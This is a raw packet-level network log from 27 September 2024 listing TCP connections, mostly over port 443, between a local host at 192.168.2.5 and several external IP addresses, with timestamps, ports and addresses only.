Sep 27, 2024 05:50:46.402759075 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.402790070 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.407401085 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.407418966 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.477509022 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.702377081 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.702404022 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.702414036 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.702430010 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.702436924 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.702439070 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.702487946 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.702560902 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.702617884 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.702617884 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.780236006 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.780246019 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.780280113 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.780299902 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.780313015 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.780322075 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.780345917 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.785690069 CEST	49722	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:46.786317110 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.786366940 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.786372900 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.786395073 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.786428928 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.786549091 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.786566973 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.827397108 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:46.897578955 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:46.897605896 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:46.897615910 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:46.897633076 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:46.897643089 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:46.897650957 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:46.897676945 CEST	49722	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:46.897708893 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:46.897722960 CEST	49722	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:46.897728920 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:46.897753000 CEST	49722	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:46.978674889 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:46.978714943 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:46.978775024 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:46.978811979 CEST	49722	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:46.978883028 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:46.978920937 CEST	49722	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:46.978948116 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:46.981897116 CEST	49722	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:46.993115902 CEST	49722	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:46.993150949 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:48.424055099 CEST	49703	443	192.168.2.5	23.1.237.91
Sep 27, 2024 05:50:48.428895950 CEST	443	49703	23.1.237.91	192.168.2.5
Sep 27, 2024 05:50:52.073224068 CEST	49710	80	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:52.078319073 CEST	80	49710	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:52.168122053 CEST	80	49710	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:52.218374968 CEST	49710	80	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:52.762161016 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:52.762222052 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:52.762294054 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:52.762902021 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:52.762917995 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.316584110 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.316957951 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.316982985 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.317908049 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.317981958 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.318356037 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.318413973 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.318680048 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.318686962 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.437093973 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.437115908 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.437165022 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.437190056 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.437227011 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.437232018 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.437283039 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.488739967 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.488780022 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.488914967 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.489387989 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.489399910 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.491178989 CEST	49785	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.491269112 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.491348982 CEST	49785	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.492072105 CEST	49785	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.492110014 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.492615938 CEST	49786	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.492659092 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.492718935 CEST	49786	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.493083954 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.493093967 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.493145943 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.493510008 CEST	49788	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.493609905 CEST	443	49788	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.493676901 CEST	49788	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.493994951 CEST	49786	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.494033098 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.494678020 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.494685888 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.494942904 CEST	49788	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.494980097 CEST	443	49788	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.520283937 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.520294905 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.520365000 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.520375013 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.520404100 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.520431042 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.520445108 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.520445108 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.520536900 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.521784067 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.521805048 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.521841049 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.521847010 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.521898985 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.605801105 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.605870962 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.605875015 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.605926037 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.606272936 CEST	49783	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.606292963 CEST	443	49783	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.606829882 CEST	49789	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.606898069 CEST	443	49789	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:53.606972933 CEST	49789	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.607810974 CEST	49789	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:53.607839108 CEST	443	49789	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.058286905 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.060425043 CEST	49786	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.060487986 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.063478947 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.063544989 CEST	49786	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.064409971 CEST	49786	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.064491987 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.064754963 CEST	49786	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.064774990 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.071136951 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.071338892 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.071357012 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.072510004 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.072683096 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.072997093 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.073112965 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.073224068 CEST	49785	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.073242903 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.074198961 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.074554920 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.075536966 CEST	49785	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.075736046 CEST	49785	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.075773001 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.076651096 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.085289955 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.085298061 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.088454008 CEST	443	49788	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.088902950 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.088974953 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.091495037 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.091659069 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.091681004 CEST	49788	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.091741085 CEST	443	49788	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.091882944 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.091888905 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.095374107 CEST	443	49788	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.095459938 CEST	49788	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.096204996 CEST	49788	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.096394062 CEST	443	49788	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.096507072 CEST	49788	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.096524000 CEST	443	49788	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.117554903 CEST	49785	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.117589951 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.117619991 CEST	49786	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.119405031 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.132852077 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.148160934 CEST	49788	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.169770956 CEST	443	49789	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.170151949 CEST	49789	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.170212984 CEST	443	49789	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.171698093 CEST	443	49789	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.171768904 CEST	49789	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.172431946 CEST	49789	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.172516108 CEST	443	49789	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.172871113 CEST	49789	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.172888041 CEST	443	49789	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.183752060 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.183809042 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.183830023 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.183850050 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.183865070 CEST	49786	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.183885098 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.183902979 CEST	49786	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.183907986 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.183942080 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.183969021 CEST	49786	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.183979034 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.183993101 CEST	49786	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.184170961 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.184252977 CEST	49786	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.189034939 CEST	49786	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.189050913 CEST	443	49786	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.193053007 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.193093061 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.193181038 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.193459034 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.193480015 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.197385073 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.197421074 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.197449923 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.197483063 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.197494030 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.197531939 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.197549105 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.198194027 CEST	443	49788	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.198234081 CEST	443	49788	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.198327065 CEST	49788	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.198337078 CEST	443	49788	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.198604107 CEST	49788	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.199352980 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.199378014 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.199395895 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.199414968 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.199445963 CEST	49785	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.199445963 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.199470997 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.199486017 CEST	49785	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.199505091 CEST	49785	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.199515104 CEST	49785	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.201633930 CEST	49788	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.201658964 CEST	443	49788	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.209475994 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.209501028 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.209511042 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.209523916 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.209552050 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.209561110 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.209569931 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.209599972 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.209599972 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.212574005 CEST	49789	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.288314104 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.288343906 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.288472891 CEST	49785	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.288507938 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.289021969 CEST	49785	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.289469004 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.289552927 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.289558887 CEST	49785	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.289602041 CEST	49785	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.289947033 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.289995909 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.290024042 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.290039062 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.290059090 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.290074110 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.292406082 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.292448044 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.292479992 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.292486906 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.292538881 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.300687075 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.300719976 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.300766945 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.300775051 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.300801992 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.300822973 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.304282904 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.304316044 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.304371119 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.304378986 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.304421902 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.304846048 CEST	443	49789	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.304918051 CEST	443	49789	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.304966927 CEST	49789	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.334328890 CEST	49785	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.334367037 CEST	443	49785	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.335057020 CEST	49789	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.335081100 CEST	443	49789	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.380203009 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.380249977 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.380279064 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.380290985 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.380335093 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.381107092 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.381181955 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.381189108 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.381236076 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.381247997 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.381319046 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.381825924 CEST	49784	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.381839037 CEST	443	49784	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.391175985 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.391238928 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.391263008 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.391271114 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.391313076 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.393007040 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.393057108 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.393089056 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.393094063 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.393120050 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.393132925 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.394157887 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.394201040 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.394229889 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.394234896 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.394268036 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.394280910 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.395828009 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.395874023 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.395895004 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.395899057 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.395934105 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.395940065 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.395979881 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.396054983 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.396106958 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.396850109 CEST	49787	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.396857977 CEST	443	49787	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.643755913 CEST	49791	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:54.643853903 CEST	443	49791	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:54.643945932 CEST	49791	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:54.644139051 CEST	49791	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:54.644211054 CEST	443	49791	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:54.756609917 CEST	49792	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:54.756707907 CEST	443	49792	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:54.756784916 CEST	49792	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:54.759720087 CEST	49792	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:54.759754896 CEST	443	49792	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:54.843907118 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.844595909 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.844656944 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.845062971 CEST	443	49790	50.2.64.137	192.168.2.5
